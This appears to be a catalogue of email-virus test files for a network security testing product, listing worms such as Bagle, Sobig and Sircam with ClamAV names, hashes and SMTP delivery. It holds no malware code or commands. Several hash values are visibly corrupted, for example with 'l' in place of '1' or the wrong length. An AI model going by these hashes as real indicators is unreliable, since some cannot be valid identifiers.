Executive Description:	Email Virus Email-Worm.Win32.Silly.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Silly.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Silly.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Vorgon.B.11622ebc_IPv6.xml

Executive Description:	Email Virus Worm.Vorgon.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Vorgon.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 11622ebc8d497446923cf2ab79alacb6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.F.bb364cd2.xml
Executive Description:	Email Virus Worm.Bagle.F
Detailed Description:	This is the email virus Worm.Bagle.F as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bb364cd289c867d33d85ba886e53e0ba. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SST-A.3.cf8a94e9_IPv6.xml
Executive Description:	Email Virus VBS.SST-A.3 (IPv6 Version)
Detailed Description:	This is the email virus VBS.SST-A.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: cf8a94e97b158e8447011188e93f21f5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Zircon.a.a.708ea6e7_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Zircon.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Zircon.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Zircon.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Pleh.55cde934_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Pleh (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Pleh as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 55cde934290e89ae29f92ff118b6280c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Matra.4d6f4017_IPv6.xml
Executive Description:	Email Virus Worm.Matra (IPv6 Version)
Detailed Description:	This is the email virus Worm.Matra as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4d6f40179e37a956df35f76222b10f56. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nihilit.i.i.b1983ab0_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Nihilit.i.i (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Nihilit.i.i as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nihilit.i.i. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	WORM.Music.1bb12d29_IPv6.xml
Executive Description:	Email Virus WORM.Music (IPv6 Version)
Detailed Description:	This is the email virus WORM.Music as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1bb12d29598a927b4e258e2b8b749b5b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Axam.d644fe97.xml
Executive Description:	Email Virus Worm.Axam
Detailed Description:	This is the email virus Worm.Axam as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d644fe97ade87da20d7010034df6c77a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.ZippedFiles.a.0e109930_IPv6.xml
Executive Description:	Email Virus Worm.ZippedFiles.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.ZippedFiles.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0e10993050e5ed199e90f7372259e44b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Yozis.B.5f1e5f07_IPv6.xml
Executive Description:	Email Virus VBS.Yozis.B (IPv6 Version)
Detailed Description:	This is the email virus VBS.Yozis.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5f1e5f072ec05d3a82b04eb3141fc722. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Worm.Fakenap.B.ca637c0c.xml
Executive Description:	Email Virus Worm.Fakenap.B
Detailed Description:	This is the email virus Worm.Fakenap.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ca637c0ceea031f2d160cd8da9a092a4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Worm.Winevar.e79d0b1a.xml
Executive Description:	Email Virus W32.Worm.Winevar
Detailed Description:	This is the email virus W32.Worm.Winevar as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e79d0b1a342712ea9b96104086149d65. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.IWorm.MP.Virus.52040688.xml
Executive Description:	Email Virus Trojan.IWorm.MP.Virus
Detailed Description:	This is the email virus Trojan.IWorm.MP.Virus as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 52040688c639ad17613dddaa900b29a4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SomeFool.Gen-2.ff05ddc0.xml
Executive Description:	Email Virus Worm.SomeFool.Gen-2
Detailed Description:	This is the email virus Worm.SomeFool.Gen-2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ff05ddc00c74ef41157a2552af455e59. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Entice.B.0874bd1e.xml
Executive Description:	Email Virus VBS.Entice.B
Detailed Description:	This is the email virus VBS.Entice.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0874bd1e0a3ddb412aced13ad9d72838. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.d.d.6b604fce_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.d.d (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Predec.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.d.d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yarner.D.2c20d8ff_IPv6.xml
Executive Description:	Email Virus Worm.Yarner.D (IPv6 Version)
Detailed Description:	This is the email virus Worm.Yarner.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2c20d8ffb6216a856aea7alfcd711740. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-zippwd.4977a287.xml
Executive Description:	Email Virus Worm.Bagle.Gen-zippwd
Detailed Description:	This is the email virus Worm.Bagle.Gen-zippwd as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4977a287ce89dc0193bf4674a74529d9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sobig.A.a24ff177.xml
Executive Description:	Email Virus Worm.Sobig.A
Detailed Description:	This is the email virus Worm.Sobig.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a24ff17709f1c162ccad34d5646a493a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.MSWord.Macreg.mac.c747d0ed_IPv6.xml
Executive Description:	Email Virus Email-Worm.MSWord.Macreg.mac (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.MSWord.Macreg.mac as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.MSWord.Macreg.mac. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Futonik.9a4a8754.xml
Executive Description:	Email Virus Worm.Futonik
Detailed Description:	This is the email virus Worm.Futonik as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9a4a8754d0403c869df2ce37347ead30. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.Lara.c949c3a2.xml
Executive Description:	Email Virus Worm.Lara
Detailed Description:	This is the email virus Worm.Lara as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c949c3a2ea991ae36bb3f9879c5dd3a2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Yarner.B.0c32628e.xml
Executive Description:	Email Virus Worm.Yarner.B
Detailed Description:	This is the email virus Worm.Yarner.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0c32628e76d9e716a4efab028022364c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Lamado.lam.fe71b49a_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Lamado.lam (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Lamado.lam as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Lamado.lam. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Kazus.2.b0a2473e.xml
Executive Description:	Email Virus Worm.Kazus.2
Detailed Description:	This is the email virus Worm.Kazus.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b0a2473elc9a7083db4c9a586fc39a07. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Kit.WCGen.4.lab6c618_IPv6.xml
Executive Description:	Email Virus Kit.WCGen.4 (IPv6 Version)
Detailed Description:	This is the email virus Kit.WCGen.4 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: lab6c61851933ace09d864afb3ec00da. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Nihilit.J.bb2ae190.xml
Executive Description:	Email Virus Worm.Nihilit.J
Detailed Description:	This is the email virus Worm.Nihilit.J as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bb2ae1906ab1170d1057e80ebcb0ddcd. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Desor.1b17ce5b.xml
Executive Description:	Email Virus Worm.Desor
Detailed Description:	This is the email virus Worm.Desor as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1b17ce5bb62a97e7fc29a78af4031dfc. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Janu.662a8clf.xml
Executive Description:	Email Virus Worm.Janu
Detailed Description:	This is the email virus Worm.Janu as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 662a8clffdbbb09ed77bd481c4f571bb. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Netsup.A.e20439f1_IPv6.xml
Executive Description:	Email Virus Worm.Netsup.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Netsup.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e20439f128959798ae00f3257ab09aca. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.08c05361_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AG.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 08c053615140e176a04f40de68ac5991. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.0c8e034e.xml
Executive Description:	Email Virus Worm.Bagle.AG.2
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0c8e034eb3651a4a8199ddfa65c2fbfe. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	Trojan.Worm.Navidad.3d315a99.xml
Executive Description:	Email Virus Trojan.Worm.Navidad
Detailed Description:	This is the email virus Trojan.Worm.Navidad as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3d315a99f004456296546d7ee6cd3e28. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.VBS.Lowjo.C.199adafa_IPv6.xml
Executive Description:	Email Virus Trojan.VBS.Lowjo.C (IPv6 Version)
Detailed Description:	This is the email virus Trojan.VBS.Lowjo.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 199adafa25c013f9ade26e4e41d63f61. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Calhob.A.dla46e8d_IPv6.xml
Executive Description:	Email Virus Worm.Calhob.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Calhob.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dla46e8d82a26d872096d14b7d2589f8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Hely.hel.56bel140f_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Hely.hel (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Hely.hel as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Hely.hel. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Chu.1.de34d735.xml
Executive Description:	Email Virus Worm.Chu.1
Detailed Description:	This is the email virus Worm.Chu.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: de34d735d30bd0e107e14bb6aa8bf3e0. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SomeFool.Z.2f4f05bb.xml
Executive Description:	Email Virus Worm.SomeFool.Z
Detailed Description:	This is the email virus Worm.SomeFool.Z as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2f4f05bb09b396579225615ab4121256. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Shuq.D.d18f3431.xml
Executive Description:	Email Virus Worm.Shuq.D
Detailed Description:	This is the email virus Worm.Shuq.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d18f343132bc99782450a3afb070d195. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Borzella.defd1398_IPv6.xml
Executive Description:	Email Virus Worm.Borzella (IPv6 Version)
Detailed Description:	This is the email virus Worm.Borzella as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: defd139871fc316aa31142aca9d7b76c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Without.a.623aa8ed_IPv6.xml
Executive Description:	Email Virus Worm.Without.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Without.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 623aa8edaacd32f4ede1ealafa7c13ec. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-zippwd.54d70e5b_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.Gen-zippwd (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.Gen-zippwd as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 54d70e5b0a481a65f7f475a315d32a2b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-zippwd.f7ad7737.xml
Executive Description:	Email Virus Worm.Bagle.Gen-zippwd
Detailed Description:	This is the email virus Worm.Bagle.Gen-zippwd as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f7ad7737ed12aa320f8b0a9a9b69ae9f. This attack is delivered via SMTP to a email server.

Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.d0ala23f_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d0ala23f732d8881e7725e7334864c8a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Quamo.qua.alf72232_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Quamo.qua (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Quamo.qua as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Quamo.qua. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sircam.98b60c86.xml
Executive Description:	Email Virus Worm.Sircam
Detailed Description:	This is the email virus Worm.Sircam as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 98b60c865f0fd5071da9db959316ea95. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Tireg.a.a.0496f87f_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Tireg.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Tireg.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Tireg.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Hybris.C.3e85d939_IPv6.xml
Executive Description:	Email Virus W32.Hybris.C (IPv6 Version)
Detailed Description:	This is the email virus W32.Hybris.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3e85d93924045051de517cabed5df8a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Godog.ef542e18_IPv6.xml
Executive Description:	Email Virus Worm.Godog (IPv6 Version)
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ef542e181e41cd79695dc59bd4078ffe. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Longbe.A.4dc49e97.xml
Executive Description:	Email Virus Worm.Longbe.A
Detailed Description:	This is the email virus Worm.Longbe.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4dc49e978b520968e59b9a272538c131. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.ASP.Paq.A.0ab6eca5.xml
Executive Description:	Email Virus Worm.ASP.Paq.A
Detailed Description:	This is the email virus Worm.ASP.Paq.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0ab6eca56441a7a747dbf3e91b6e17ad. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Waber.wab.b3d31831.xml
Executive Description:	Email Virus Email-Worm.Win32.Waber.wab
Detailed Description:	This is the email virus Email-Worm.Win32.Waber.wab as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Waber.wab. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.MyPics.a.94ec4742.xml
Executive Description:	Email Virus Worm.MyPics.a
Detailed Description:	This is the email virus Worm.MyPics.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 94ec47428dabb492af96756e7c95c644. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.White.B.866fbc39.xml
Executive Description:	Email Virus Worm.White.B

Detailed Description:	This is the email virus Worm.White.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 866fbc39108e6e0668b194815b19381a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	CIH.2.63b25949.xml
Executive Description:	Email Virus CIH.2
Detailed Description:	This is the email virus CIH.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 63b25949593fc20a30c433e21d19ae78. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Godog.ea4de788_IPv6.xml
Executive Description:	Email Virus Worm.Godog (IPv6 Version)
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ea4de7885eb8a954ffeb3d775062c27f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Lamado.lam.fe71b49a.xml
Executive Description:	Email Virus Email-Worm.Win32.Lamado.lam
Detailed Description:	This is the email virus Email-Worm.Win32.Lamado.lam as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Lamado.lam. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Alcop.Gen.3.8fc6b90c.xml
Executive Description:	Email Virus Worm.Alcop.Gen.3
Detailed Description:	This is the email virus Worm.Alcop.Gen.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8fc6b90cd64fa042116d96273e08f343. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sober.D.f258a945.xml
Executive Description:	Email Virus Worm.Sober.D
Detailed Description:	This is the email virus Worm.Sober.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f258a945eace78df510ca7bdaa0ec8fb. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Thea.926afa95.xml
Executive Description:	Email Virus Worm.VBS.Thea
Detailed Description:	This is the email virus Worm.VBS.Thea as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 926afa955166fb4dda495eed9fa7331b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Deberia.deb.9e60ebcb.xml
Executive Description:	Email Virus Email-Worm.Win32.Deberia.deb
Detailed Description:	This is the email virus Email-Worm.Win32.Deberia.deb as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Deberia.deb. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nohoper.7342.734.966bcb52_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Nohoper.7342.734 (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Nohoper.7342.734 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nohoper.7342.734. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.GOP.A.44882f5b.xml
Executive Description:	Email Virus Worm.GOP.A
Detailed Description:	This is the email virus Worm.GOP.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 44882f5b23ea6e56b82b8622eed9337a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.VBS.Lowjo.C.e2e88852.xml
Executive Description:	Email Virus Trojan.VBS.Lowjo.C
Detailed Description:	This is the email virus Trojan.VBS.Lowjo.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e2e888520a36ed5543d2658633b14aaa. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.4449f495.xml

Executive Description:	Email Virus Trojan.Downloader.Small-165
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4449f495b216d6e2da568fd57b45fc33. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.0769b8be.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0769b8befedfe30692b189a9e92b0034. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Santa.c8e2086f_IPv6.xml
Executive Description:	Email Virus Worm.Santa (IPv6 Version)
Detailed Description:	This is the email virus Worm.Santa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c8e2086f19ddac0c1eld923511556af5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Youdgos.a.8ac2c92e_IPv6.xml
Executive Description:	Email Virus Worm.Youdgos.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Youdgos.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8ac2c92e158d1fa25a67ad88239abb0c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Totilix.B.adl47327_IPv6.xml
Executive Description:	Email Virus Worm.Totilix.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Totilix.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: adl473275ac9414b18f59754208107a0. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.ZippedFiles.a.0e109930.xml
Executive Description:	Email Virus Worm.ZippedFiles.a
Detailed Description:	This is the email virus Worm.ZippedFiles.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0e10993050e5ed199e90f7372259e44b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.409066b0_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 409066b07c94329bbd1bc94d560b0f3a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.JS.Crus.7453d64c_IPv6.xml
Executive Description:	Email Virus Worm.JS.Crus (IPv6 Version)
Detailed Description:	This is the email virus Worm.JS.Crus as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7453d64c414059d4b575bdee493253f3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Migrate.9a6f9d08_IPv6.xml
Executive Description:	Email Virus Worm.Migrate (IPv6 Version)
Detailed Description:	This is the email virus Worm.Migrate as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9a6f9d08316749c36598b1b75e0e4256. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Qoma.e.e.9d4cedb0.xml
Executive Description:	Email Virus Email-Worm.VBS.Qoma.e.e
Detailed Description:	This is the email virus Email-Worm.VBS.Qoma.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Qoma.e.e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.BA-RAR.179ffe50_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.BA-RAR (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.BA-RAR as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 179ffe50ed0f5f5a5ff8b5f8116c0f8a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Email-Worm.VBS.ItPoem.itp.clebeaf3_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.ItPoem.itp (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.ItPoem.itp as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.ItPoem.itp. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.ad24c8f4.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ad24c8f497d9fdd96408efb2dlc32226. This attack is delivered via SMTP to a email server.
